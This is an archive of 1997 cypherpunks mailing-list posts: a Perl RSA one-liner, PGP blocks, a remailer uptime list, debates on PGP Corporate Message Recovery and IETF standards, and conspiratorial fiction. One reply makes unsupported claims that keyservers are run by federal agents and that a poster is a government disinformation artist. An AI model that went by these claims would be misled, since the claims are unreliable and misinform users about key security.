print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Mon, 13 Oct 1997 14:19:16 +0800
To: cypherpunks@cyberpass.net
Subject: attn bianca@dev.null
Message-ID: <8Pk/60CN9k8u0ApmJNymeg==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP MESSAGE-----
Version: 2.6.2

hIwDMZZV/34Ws4kBA/0e8y/+mb1njlI9qSuYCHtCDWMW6/d0Q6UESImTu1mX5HgV
zu1byxtOM4gA32JY51XpnnY8l2s4QIhcPznmvFrXl13ND8PXjT9eAeSfzQHGjUn/
l+P1wIVF+aTLr6w4rH1FEAzTrPw3IdU2iz4dMLH2R1OqPIitEF8EFoeUdJneqKYA
AAkP4bLj4zaX5YtsVg4i0tOTZASi50WcqdHi3hIOENNiCQSaSzqT+8tTg92yQFPH
N4/sUHAvZSnTolyiJ4p8tIVqRkJYpjYNTXhWWTL4lH6qbn0GSyh8XWrE5Q9lwKZ6
zex3Oeh0eH+GhMGHHzp+Dtusu4yXTqI0HWmlhv3LOfUV1pBYs9aqKA9wJli4a6Uj
l9BiubvWm1lZ0GE/MA+Y/Qp2rvgSne1+t0965zL8I4wKgURi3KeNlSMoKeDlLwb9
pi5CIKtOSmFbTG919VLK8Asqm/gib254ug8bV9T6UbfCAWjVV5NZpviLYZ7BvDgs
Bj0cGcCh1t1FGWCBj78cQXSMsvxqSPY6CwibiV+Hw9DgMSC4FjiRdxamQxL322uE
CQIqlG502CSiUccpoQa9FapIv7HhKR2HDtooy+RIGMwQbbY8rqWEjDN1uZVaPAbm
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crMRpdO3YgxPZYR4I8m+Q3cppgz06jj/vCJuzilzSPA079wRczDl6xcQk48Fkv0N
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15PVQsq9sU6Jx9/EVaauZQtbyFDxalElrvPSYPvzAEUfi90gzP8SMY+rDgRUGBWD
aZEpg9QqvqZ1Pwj4/gSW63JwXdWOI6WUybEkQG0bQScKj/Pm/eKPnwJ6qeVpw654
T8RU5MbpVjbOeXgw6DvyWQBXTbs6zdBjYVEzGbQ0+WsQN21MON+dr3wFn9bXnYZR
BGYg4PMuOzSTXKVJTh/VpmbiilJZM7FRBpTaKDppExDOItHjvetzWs7o7OrjQR84
3Nx4jW6jIFEfRxwVnuNxx3SZP9I0ofTROw36y0fFOIGxq6dkimuJAU0BHUw3fahK
w2AZZnZKxqziAP6fvqK5OklSeqtZOXGiP/MFXG7f+0AiDFnFD9aQz9ChTHBlE2kM
AFQ3PQq/hJfAJJ+JzgRvi7fHoy90z703NghOBUEnz9PAziag5IRrtPIE/4Rgizlt
1D0G7qj4iMrqR/O/ZljG9rEbKjE5a0H36Zxj8IBO2nGqVGUM3NiKzE2qSNVJOhKC
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QDis0zr04Rv1ZQmmheIVHuxsTjyEwCAuJjVUtMifV43cHVZjDUP5WsuThQgGbF+L
ZkdeO0WriD0R4yLX4WSZxTZ/GJpzd4j1u6sGkOWoL80ct/RMta6Pq0Lb2o5vWThP
54YmouF3MCZEo6VD/PjRuJiyHA5AtEU2/gU4iIJtsVlsQJXFIp1S84Mr+kDnF12n
5zymrg873HWuA5GFRbvc6TF2rpssz0SC9XJFA7DvNc+YEGPlTay/lzLnmWczpDDu
fGO/bZUOhIBs3p83AGapO9p3SVxKydOfemNwK6NR1rkAliXs7trAoLuaYQ+L7jje
ypI1CTUpaQvsf1J40y9Lpf91J6m29sJX5XkKJEcXWCq2vj/T+6d5+r+C3nwYmaa4
gcQF44bP8npM2HVEVA1RHxh7XLTEojuAjE5SottyEgiWsRgx5Pk8nu6oywMvSALQ
xSjPrGR4bRqCrbIEiQEV/EAERIF6+DHhVKgiACD2M4rgcAAT0x5ddvJ/tdCvYzX4
zsDd2VqmTtPLuf9dVoitKHaoxX05EeR17tRXyDtsfmB+i6MCLDf4JVm9Ds7AEpCC
UHKoU4yncVO6DJxMMtM0ottd
=okR2
-----END PGP MESSAGE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Mon, 13 Oct 1997 20:27:45 +0800
To: remailer-politics@server1.efga.org
Subject: Re: [RePol] First Post!
In-Reply-To: <0f045e50bea80f9d8eee2e6994b8052b@anon.efga.org>
Message-ID: <34421071.7F14@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Jari Aalto, confirmed by veteran, respected CypherPunk 
Dr. Dimitir Vulis, KOTM, to be a government disinformation
artist, wrote:

> | Sat 97-10-11 Anonymous <anon@anon.efga.org> list.repol
> | I've downloaded pgp.
> 
> | How do I send the key to this list ?
 
> Don't!

  DO!
 
> [From ema-tipgp.html]

  Notice there is no verifiable URL pointer given for this alleged
reference. Typical of spoofing attacks. 

> 10.0 General PGP guidelines

  According to who? Aunt Ema, or Tot?

>     10.1 About including the public key in the mail message
> 
>         Do not distribute your public key by mail or Usenet post,
because
>         there are more proper ways. People generally do not want
that 'you'
>         send the key to them, instead they want to get it by itself
from
>         some trusted channel: finger or key server. The reason for
this
>         should be obvious: email is not a secure channel, anyone can
>         replace the contents of your mail with something other.

  Bullshit. Email is no less secure than other channels on the
InteNet.
(Is too!) {Is not!} (Is too!) {Is not!} (Is too!) {Is not!}
The chances of your public key being compromised through email to a 
mailing list are slim.

>         Use some/all of the ways here to make your public key
available:
> 
>         o   Put it in your ~/.plan file, so people can simply finger
>             you for it. Open the ~/.plan file and just insert key
there,
>             ,then anyone who fingers you can read the key:
> 
>             % finger foo@site.com

  Bad idea! It makes it vulnerable to attack by those with access to
your system(s), as well as to attack by outside hackers.
 
>         o   Post it to a public-key server which in turn
automatically
>             ,distributes your key to all the other keyservers.

  Be aware that the public-key servers are run by agents of the
federal
government whose goal is to prevent crypto users from avoiding
registering
their keys with coming GAK laws.


> | I'm new at all this anonymous stuff!
> 
> Please read the pgp docs that came along the program. More pgp and
> remailing pointers can be found from my main page
> 
>         ftp://cs.uta.fi/pub/ssjaaa/ssjaaa.html

  Which is full of lies!

  Please note that the proper procedures for obtaining and using
Crypto Keys are outlined by CypherPunk Notable Newbie of the Year,
A. Hoir, in a series of posts on the CypherPunks mailing list.

  I am including my public key below, within the body of this email,
and it can be verified by checking it against the listing for my
keys on the keyserver at http://www.pgp.com/ .

  Lastly, and most importantly, take the time and effort to verify
for yourself any claims made by those posting to mailing lists, in
general, and using anonymous or misleading personas, in particular.

TruthMonger

>
*===================================================================*
> To unsubscribe or subscribe send a message of UNSUBSCRIBE or
SUBSCRIBE to
> the email address REMAILER-POLITICS-REQUEST@SERVER1.EFGA.ORG

- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGP for Personal Privacy 5.0

mQDiBDRCDGgRAgDz0VR8oKaE3LeAkKi1tnNfTPaUQzhXFD0Tf7HTmO1BxSqxVO8U
mxvPCTtw2KLRtYt+udXeHDsduyDxxBC8U0xrAKD/BLyXv9cjrG1pr+y4yaor4TH7
6wH/RlhBvKUwZ2/NOWcS3RKxz/25LoW7Y6LTT4ahiFWQUMFpOBRxclsiLajOoci3
8pdjqr2Oy5uJP6EbUARMFgUThAIAwvqTOSpVumu4ib50yojvuYniN01tg9c3jmCv
KV28a/LHEpug3R1FusI1BaOuQVTRyLgmoJRhl9uqjonUS/vdgrQlSmFyaSBBYWx0
byA8amFyaS5hYWx0b0BudGMubm9raWEuY29tPokAUQQQEQIAEQUCNEIMaAUJAAFR
gAQLAwECAAoJENVQ+s43zWjf9p0An164iqcY9UfDDacAhKQh0PJ534aoAKDTHx68
3h+G5qyNPYxZXTrVBJy0CLkAjQQ0QgxxEAIA/2RE3cUr5HlC5rDt3D+6LqbA6pt/
Yj8cEhCKzfXepCKyMowSKcSeucikNdFkSpNf4jVZN0aAt3aLgQiubKRdVQACAgIA
ojrQS61RR4FHVsn6hi78CIUfdJFtjcPB4PgHMj5VQUCv9QN926d7mk13PCPjeWU3
4eip3RaukG/WfeaQXT58OIkATAQYEQIADAUCNEIMcQUJAAFRgAAKCRDVUPrON81o
3xgEAJ4yQ2yR8W3yLefi5YyhfRNc5kGRYwCfYgVqqCamaOpJhNWfUNfzVVIB7Ng=
=SubM
- -----END PGP PUBLIC KEY BLOCK-----

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNEIPuNVQ+s43zWjfEQKX+wCg5MydykFtaUVN9Pj9mYbT55SdWzMAoKeD
SlKAfuAz3OGRko9Chm11NBFy
=S6R7
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 13 Oct 1997 21:59:40 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199710131350.GAA14260@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord ?";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"cracker"} = "<remailer@anon.efga.org> cpunk mix remix pgp hash ksub esub latent cut ek reord post";
$remailer{'redneck'} = '<config@anon.efga.org> newnym pgp';
$remailer{"bureau42"} = "<remailer@bureau42.ml.org> cpunk mix pgp ksub hash latent cut ek";
$remailer{"neva"} = "<remailer@neva.org> cpunk pgp pgponly hash cut ksub ?";
$remailer{"lcs"} = "<mix@anon.lcs.mit.edu> mix";
$remailer{"medusa"} = "<medusa@weasel.owl.de> mix middle"
$remailer{"McCain"} = "<mccain@notatla.demon.co.uk> mix middle";
$remailer{"valdeez"} = "<valdeez@juno.com> cpunk pgp pgponly hash ek";
$remailer{"arrid"} = "<arrid@juno.com> cpunk pgp pgponly hash ek";
$remailer{"hera"} = "<goddesshera@juno.com> cpunk pgp pgponly hash ek";
$remailer{"htuttle"} = "<h_tuttle@rigel.cyberpass.net> cpunk pgp hash latent cut post ek";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix reno winsock)
(weasel squirrel medusa)
(cracker redneck)
(nym lcs)
(valdeez arrid hera)

The remailer list here has been out of date for some time, but should
be up to date now. I'm still working on updating the web page.

Last update: Mon 13 Oct 97 6:45:44 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
hera     goddesshera@juno.com             ------------  5:55:28  99.50%
squirrel mix@squirrel.owl.de              ----- ------  3:25:30  99.49%
nym      config@nym.alias.net             **####+## +#     1:16  95.21%
cyber    alias@alias.cyberpass.net        *+++**+** *+    11:56  94.67%
mix      mixmaster@remail.obscura.com     +++++*++* +     26:05  94.54%
redneck  config@anon.efga.org             *##**++** ##     1:47  94.48%
neva     remailer@neva.org                *+ + -+-  -   1:33:09  94.37%
winsock  winsock@rigel.cyberpass.net      ..--..--- -+  9:43:02  94.02%
jam      remailer@cypherpunks.ca          ++++*+++  +*    23:21  94.00%
cracker  remailer@anon.efga.org           *++*+*++  ++    17:35  93.90%
replay   remailer@replay.com              ****** ** **     3:46  93.78%
bureau42 remailer@bureau42.ml.org         ----- ---     3:30:56  87.00%
arrid    arrid@juno.com                   --------- -   8:26:08  86.01%
reno     middleman@cyberpass.net          +++ *+++      1:01:28  66.48%
valdeez  valdeez@juno.com                               4:58:22 -25.98%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rishab@dxm.org (Rishab Aiyer Ghosh)
Date: Tue, 14 Oct 1997 00:58:35 +0800
To: attila@hun.org
Subject: free market (was RE: GET OFF THE DIME: PGP 5.5)
Message-ID: <199710131653.JAA11142@shell5.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain




Attila wrote:
       would you rather have PGP, Inc. with its preeminent 
        stature in the defense of freedom, freeware, and
        privacy as well as an established, TRUSTED product 
        defining THE system which meets the need of the 
[etc]


if i remember right, the idea behind PGP when it first
came out was that you ought not trust ANYBODY.
that's why you have the source code@!

it's a free market. if PGP Inc wants to make money,
and needs to meet the corporate demand for some sort of 
alternative-key mechanism to snoop on their employees
(or keep backups of important correspondence when 
employees forget their keys) so be it. as an individual,
it hardly matters to me if it's PGP or Microsoft that's
selling this stuff - remember, crypto software doesn't
read your mail, people do, and if my company wants to 
be able to read my mail it'll buy the tools from anyone
who's selling. frankly i couldn't be bothered if the tools
are from "TRUSTED" PGP or Evil Bill. for all i know, 
my employer is quite happy with GAK too.

of course if i'm willing and able to work independently
of any company, then i _do_ have control over the privacy
software i use, and in that case, if i'm paranoid enough,
i can always go through the source code.

-rishab





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Tony Mione" <mione@boeing.rutgers.edu>
Date: Mon, 13 Oct 1997 23:02:33 +0800
To: Adam Back <frantz@netcom.com
Subject: Re: IETF policy on refusing to allow politics to weaken protocols (Re: Why Adam Back keeps politicizing technical issues)
In-Reply-To: <199710131140.MAA01044@server.test.net>
Message-ID: <971013100300.ZM23083@boeing.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Oct 13, 12:40pm, Adam Back wrote:
> Subject: Re: IETF policy on refusing to allow politics to weaken protocols
>
> Bill Frantz <frantz@netcom.com> writes:
> > At 2:41 AM -0700 10/11/97, Adam Back wrote:
> > >
> > >5. The IETF process should be accepting proposed designs and deciding
> > >on the best ones, which PGP Inc, and the other suppliers would then go
> > >and implement.  As it is now, as William Allen Simpson just pointed
> > >out, PGP Inc is cruising ahead implementing, and deploying things
> > >without bothering with the OpenPGP process.
> >
> > Just a quick reality check here.  Frequently implementations have proceeded
> > IETF standards.  That is one of the strengths of the IETF process (as
> > compared with e.g the CCITT.)
>

	The reality is that standards generally drag long behind the need for
new technology. In any standards org worth thier weight in salt, the group will
look at existing implementations (not trial implementations but ones that have
been in use for some time). This is called 'Prior Art'. Without prior art, it
is not easy to determine which features or schemes work and which do not.

	The problem we are running into here is that PGP Inc. is marketting
about the only prior art available for this technology. In addition, business
needs will not stand still waiting for a standard to come out in 1-2 years.
This creates a somewhat dangerous situation as Adam has pointed out (Note: I am
NOT PGP-Inc.-bashing. This is merely an outcome of what happens when a vendor
tries to take their technology and 'open' it up).

	I would be concerned if this relatively new addition were being added
to the internet-drafts currently being produced by the group. I know they have
tried to wrestle with all of the issues. I just think we need some more
'experiential' evidence that it is the correct solution. In general, standards
only describe the 'bare-minimum' that an implementation must do to be
'compliant'. There is nothing wrong with leaving certain bells-and-whistles out
of the first pass at a standard. Vendors are always free to add proprietary
features to thier product. That is where the market competition comes in. PGP
Inc. implements thier CMR feature on top of the OpenPGP standard. Another
company attacks the problem a different way and adds a different 'extension'.
In about 5 years, a new standards group updates the 'OpenPGP' standard, argues
over the different schemes and adopts the one with the best technical merit.

> I must admit some ignorance of the IETF processes due to my only
> understandings being gained from intermittent following of the IPSEC
> standardisation process, and in that respect I thank you for the data
> point...
>
> However, I would defend that my understanding is, and my point was
> more that proposals with trial implementations should be used as
> discussion points, and as competing draft proposals rather than being
> used as arguments for it being necessary to build compatibility with
> just because someone has rushed off and sold copies of them, prior to
> ratification of those proposals by the standardisation process.  And
> that independently of the technical merits of those proposals, or
> arguably even in the face of evidence that there are more secure
> alternatives to these proposals.
>
> The IETF standardisation process is supposed to make decisions based
> on technical merit.  Not based on marketing clout.  Nor even based on
> reputation capital, something which PGP surely has in abundance, as
> transferred to it by Phil Zimmermann with his virtual net.god status.
>

	To Adam and others, I would say, work like mad to develop pgp-like
implementations (based on available documents of 2.6 or 5.0 formats) and add in
alternative mechanisms to do the same function (as per Adam's discussion of the
3-key system : signature, transit-encryption, and storage). To others in this
group, I would say keep it simple...especially on a first pass at a standard.

	I have noticed an interesting phenomena in a number of IETF groups. One
group develops a standard that is huge and nearly unimplementable. Another
group comes along and says "We can do it simpler than that". They start
designing and writing documents, run into the same issues the first group did
and eventually start solving them the same way leading to another large
unimplementable standard. Witness: X509 -> PKIX -> SPKI -> OpenPGP. OpenPGP was
supposed to be different because it had a large established user base. Then,
all of a sudden, everyone is arguing over the same issues as the first three
groups...global naming problems, certificate flexibility, key recovery, policy
enforcement...


>...
>
> Adam
>-- End of excerpt from Adam Back

--
Tony Mione, RUCS/NS, Rutgers University, Hill 055, Piscataway,NJ - 732-445-0650
mione@nbcs-ns.rutgers.edu                 W3: http://www-ns.rutgers.edu/~mione/
PGP Fingerprint : E2 25 2C CD 28 73 3C 5B  0B 91 8A 4E 22 BA FA 9F
Editorial Advisor for Digital Systems Report   ***** Important: John 17:3 *****





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Tue, 14 Oct 1997 00:45:09 +0800
To: cypherpunks@toad.com
Subject: Re: Phone Line Internet (too slow)
In-Reply-To: <199710121344.PAA20721@basement.replay.com>
Message-ID: <34424DC4.E51DD8A5@ssds.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:

> Inter@ctive WeekOctober 10, 1997
>
>                       Nortel Unveils 1-Megabit Phone Line
>                       Ethernet
>
>

etc etc...

>                       The 1-Meg will deliver 1-megabit-per-second speeds
> downstream
>                       into homes or businesses and
> 120-kilobit-per-second speeds in the
>                       other direction

This is too slow upstream for future technology needs.  I'll admit that the

upstream is almost as fast as a 2B+D ISDN setup, but research that I've
done suggest that 384kb is necessary for VHS quality realtime video.

So Nortel will deliver enough downstream bandwith for you to be a video
consumer, but not a provider.  How typical.

I'll wait for xDSL, thank you.

Jim Burnes


--

      "How do you explain school to higher intelligence?"
               Elliot to his brother in ET







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Mon, 13 Oct 1997 21:59:38 +0800
To: aba@dcs.ex.ac.uk
Subject: Re: Stronghold
In-Reply-To: <199710121508.QAA04569@server.test.net>
Message-ID: <199710131452.KAA26663@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back writes:

> Dimitri Vulis <dlv@bwalk.dm.com> writes:

> > did _not appear on the "unedited" list. Nevertheless at least one
> > lying C2Net shill from Hewlett Packard claims that my articles
> > appearing on the unedited list on January 30th prove that I wasn't
> > being filtered from "unedited" one week later.
> 
> Some thing's just can't be proven.  That logic clearly doesn't flow.

For the record, I made no such claim.  In fact, my exact words were:

[me:]
> Since obviously none of us who were on the -unedited list can say for 
> sure whether we received everything sent to it, I can't say with 
> certainty this never happened.  But....
> This is the problem with being known as a liar.  Nobody is inclined to
> believe what you say without substantitation.  So I still don't see any
> reason to believe that anything was "censored" from the unedited list.

But Dimitri has claimed that there were "numerous people" who were 
CC'd to the message that is alleged to have disappeared from -unedited.
I'm sure they'll all be chiming in to back him up just like John Young 
did. :-)


-- Jeff (C2Net shill?  now if I can only get Sameer to pay me for it)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Tue, 14 Oct 1997 01:43:42 +0800
To: cypherpunks@toad.com
Subject: InfoWar Epilogue 2 (Part III of 'The True Story of the InterNet')
Message-ID: <344259C9.5243@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the Internet Part II









The True Story of the InterNet

Part III


InfoWar

Final Frontier of the Digital Revolution

Behind the ElectroMagnetic
Curtain


by TruthMonger <tm@dev.null>




Copyright 1997 Pearl Publishing



InfoWar Table of Contents

Epilogue 
Jonathan


Epilogue


The tattered remnants of the Magic Circle sat quietly in front
of the lines drawn in the dirt of the floor of the cave.
Alexis placed a white rock in one of the squares. Jonathan placed
a black rock next to it.

They were engaged in the use of one of the first computers used
to wage InfoWar...an ancient oriental game, called 'Go.'
Fortunes and kingdoms were won and lost over the placement and
arrangement of black and white stones. Like 0 and 1, on and off,
yin and yang.

Cowboy was thinking of an article he had pulled up from the past,
titled, "The History of Chess," or some such, from a
magazine called 'Playboy.'
It described chess as originating in primitive times, with a board
having only one square on it. Each player had one playing piece,
and you could put your piece on the square, as long as you were
willing to back it up with your fists.
He thought about the battle for control of the InterNet that was
taking place a century in the past. The more things change...



Jonathan

"I've looked at life from both sides now,
>From win and lose, and still, somehow,
It's life's illusions I recall
I really don't know life...at all.
- Joni Mitchell

During the censorship crisis on the CypherPunks list, when the
list members were trying to make sense of what was going down,
a lone voice whispering in the wilderness pointed out that the
battle being waged had little to do with censorship, and everything
to do with InfoWar.

The Tao whispers so that it will be heard by those who do not
have all of their attention tied up in shouting.
The Tao whispered during the censorship crisis, just as it had
whispered in the madness that overtook Germany, then Europe, then
the World. It was heard by the Hermit, and echoed by the Fool.
It whispered "InfoWar."

But it seemed that no one had heard...


The Process of human alchemy marches on: Revelation of the
Method. They are Making Manifest All that is Hidden and what a
hell-fire joke it is--for almost no one is paying conscious attention,
even as the secrets of the time are dropped like pearls before
wine. 
-Michael A. Hoffman II




...at least, until history took a step back, and a step to
the left.


The whole goal of the hijacking of the phrase "key escrow"
to 
camouflage GAK was to obscure the difference between voluntary

and involuntary participation.

Someone getting access to your secrets against your will, 

whether by trickery, threat of force, or burglary is not 
escrow. At least, not until the USG deliberately chose to 
abuse that word to throw a mask of legitimacy upon its rotten

idea of mandatory wiretapping for all digital communication.

Damn, but it is frustrating to see such a bare-faced NewSpeak

gambit succeed so brilliantly against otherwise literate people.

Everyone should read George Orwell's paper on (ab)use 
of language in politics. None of the examples he cites are
nearly as worthy of Minitru as is this single conceptual hijacking.

-Zooko Journeyman


At the time that the Trei Transponder exploded, PGP, the holy
icon of the CypherPunks, was under a full-scale frontal attack
by...the CypherPunks.
The reason...Corporate Message Recovery.

Just as the assault by the Dark Forces on PRZ and PGP had alerted
the Magic Circle to a soft spot on the underbelly of Gomez and
his Dark Allies, the assault on CMR and PGP by the CypherPunks
alerted the Dark Forces that they had been premature in celebrating
their InfoWar victory in their assault on the CypherPunks list.

About a century too early...


I presume the PGP PR person (who ought to get the sack in my
opinion) 
thought that a sudden press release of such marvelous new feature
as
PGP SnoopWare and a SnoopWare Enforcer for Third-parties would
go down
well. It doesn't.
-Adam Back


Although PGP's 'Corporate Message Recovery' software had its proponents
and detractors on the CypherPunks list, the bottom line was that
it marked a change in the battle front in the Crypto Wars.
Even Philip R. Zimmerman, himself, was not happy with the PGP
name being lent to a product which amounted to an expansion of
the definition of privacy to include Little Brother as the 'owner'
of everyone's privacy within a company, and thus, by future extension
of the concept, Big Brother as the 'owner' of everyone's privacy
within a nation (and eventually, within the New World Order).

After a short period of CypherPissing about the few pros and many
cons of this new direction in the encryption battle front, the
CypherPunk aphorism, "The answer to noise, is more
noise." began to take hold, with Tim May broaching the
possibilities that "forward secrecy systems" might
hold for empowering the individual caught deep within the bowels
of the Great Machine.

Wittingly, or unwittingly, the CypherPunk Philosopher King sidestepped
the Ministry of Truth's new definition of privacy by counter-attacking
with a subtle, but important redefinition of email, by using a
seemingly innocent reference to "conventional e-mail"
in his post exploring the possibility of simply 'routing around'
the 'damage' (an old CypherPunk tradition).
Perhaps the answer to 'InfoWar,' is 'more InfoWar.'


Gomez stared at the mountain of references that his Dark Allies
and their human minions had gleaned from email, news groups, mailing
lists and web sites from around the InterNet-references to troubling
new trends and technologies that foreshadowed a threat to the
future that had been preordained by the Evil One. 


PHil's Unified Corporate Key-Yardstick of Outbound Uniformity.


No details, but the reference to Zimmermann was obvious. Had
he just begun to explore new developments in the Corporate Key
technology that had been slipped into the mix of his original
concept behind PGP, or did he already have methodologies in place
to defend against the misuse of Corporate Message Recovery?


SAK - Saboteur Access to Keys

This had the Mark of the Toad written all over it.
Throughout the Corporate Message Recovery system, identical corporate
keys began showing up on different systems. All indications were
that people inside the corporations had access to a method of
slipping in the Saboteur Key in a way which its footprint mirrored
that of the original key.


Destination Escrow

This seemed to be the most dangerous of all the quickly emerging
'unconventional email' technologies. It had all the marks of a
collaborative effort between the CypherPunks, the Circle of Eunuch,
Alt2600, MI9, COM-12, and a host of other freeh-dumb fighters.

Remailers, Eternity Servers, Crowds, DevNull Addressing, Inner
Onion Routing-all seemed to play some part in this diverse, but
highly effective methodology of disguising the true routing and
final destinations of email and other communications.


Some of the DE technologies seemed to be escrowed internally,
catching the email after it had been processed by the email system,
and before it had been sent to its destination, either changing
the destination, or mirroring the message to other destinations,
as well.
Some seemed to have the secret code for their true destination
escrowed at some point in the InterNet routing system itself,
outside the watching eyes of internal system security personnel.



Distributed Key Escrow

The Dark Allies were not certain what DKE technology actually
referred to, but it was suspected that many communications contained
plain-text stego which was protected by use of a distributed encryption
and decryption key which could not be compromised except by accessing
the systems of all who held a part of the key.
Unlike the public-private key technology, it seemed to be highly
resistant to attack by gaining control of systems and routers,
or any form of Man-in-the-Middle attacks. It was suspected that
they were combined with the use of a new type of distributed remailer,
as well, but this had been impossible to confirm, as of yet.


Gomez frowned...it looked like InfoWar was going to be a
battle, after all.


One thing that the Magic Circle knows from our long battle with
Gomez was that he is, above all things, thorough.

There is no doubt in our minds that the Dark Allies, upon searching
the rubble of our last safe house, will find the small platinum
plaque which will provide not only a verification of the presence
of the Circle of Eunuchs and the CypherPunks concealed deeply
within the heart of WebWorld, but also a confirmation that:

"The end of our beginnings, will be to arrive from where
we started, and to know it for the first time."
-The Magus


It will not take long for the Dark Allies to notify Gomez, both
now and a century in the past, that the front of the plaque reads:

Trei Transponder (c) Peter Trei 1997
"Those who do not learn from the future, are doomed to repeat
it."

And Gomez will undoubtedly understand, for the first time, the
true meaning of the motto of a small computer company formed in
Tucson, Arizona, a hundred years previously, when he reads, on
the back of the plaque:

Built by:
Pearl Harbor Computers
"It Ain't Over 'Till It's Over"


CypherPunks Write Code


"The Xenix Chainsaw Massacre"

"WebWorld & the Mythical Circle of Eunuchs"

"InfoWar (Part III of 'The True Story of the InterNet')

Soviet Union Sickle of Eunuchs Secret WebSite









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Tue, 14 Oct 1997 01:40:49 +0800
To: cypherpunks@toad.com
Subject: InfoWar Epilogue 2 / TEXT
Message-ID: <344259FD.4E65@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



----------------------------------------------------------------------------
----------------------------------------------------------------------------

                       The True Story of the InterNet
                                  Part III

                                   InfoWar

                  Final Frontier of the Digital Revolution

                     Behind the ElectroMagnetic Curtain

                        by TruthMonger <tm@dev.null>

Copyright 1997 Pearl Publishing
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                          InfoWar Table of Contents

   * Epilogue
   * Jonathan

----------------------------------------------------------------------------

                                  Epilogue
----------------------------------------------------------------------------

The tattered remnants of the Magic Circle sat quietly in front of the lines
drawn in the dirt of the floor of the cave.
